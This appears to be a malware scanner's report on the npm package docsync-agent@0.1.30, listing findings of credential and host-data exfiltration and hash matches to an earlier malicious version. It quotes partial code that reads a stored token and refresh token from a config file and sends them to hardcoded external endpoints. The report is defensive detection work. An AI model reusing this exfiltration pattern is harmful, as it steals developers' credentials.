docsync-agent@0.1.30: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

docsync-agent@0.1.30: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

11 flagged · loading source

src/commands/history.tsView file

6export async function historyCommand(filePath?: string) { L7: const configPath = path.join(os.homedir(), '.docsync', 'config.json') L8: if (!fs.existsSync(configPath)) { ... L12: L13: const config = JSON.parse(fs.readFileSync(configPath, 'utf-8')) L14: const apiUrl = 'https://docsync-api.onrender.com' L15:

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/commands/history.tsView on unpkg · L6

dist/commands/start.jsView file

44const os = __importStar(require("os")); L45: const SUPABASE_URL = 'https://otmqkhdpljemfytyenqt.supabase.co'; L46: const SUPABASE_ANON_KEY = '[redacted].[redacted]... L47: async function startCommand() { L48: const configPath = fs.existsSync(path.join(process.cwd(), '.docsync', 'config.json')) L49: ? path.join(process.cwd(), '.docsync', 'config.json') ... L54: } L55: const config = JSON.parse(fs.readFileSync(configPath, 'utf-8')); L56: if (!config.token) { ... L72: }, L73: body: JSON.stringify({ refresh_token: config.refreshToken }) L74: });

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

dist/commands/start.jsView on unpkg · L44

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

dist/commands/watch.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/commands/watch.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/commands/watch.jsView on unpkg

dist/commands/analytics.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/commands/analytics.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/commands/analytics.jsView on unpkg

dist/commands/apiref.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/commands/apiref.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/commands/apiref.jsView on unpkg

dist/commands/generate.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/commands/generate.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/commands/generate.jsView on unpkg

dist/commands/history.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/commands/history.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/commands/history.jsView on unpkg

dist/commands/template.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/commands/template.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/commands/template.jsView on unpkg

dist/services/watcher.jsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = dist/services/watcher.js matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/watcher.jsView on unpkg

src/commands/watch.tsView file

•matchType = normalized_sha256 matchedPackage = docsync-agent@0.1.29 matchedPath = src/commands/watch.ts matchedIdentity = npm:ZG9jc3luYy1hZ2VudA:0.1.29 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/commands/watch.tsView on unpkg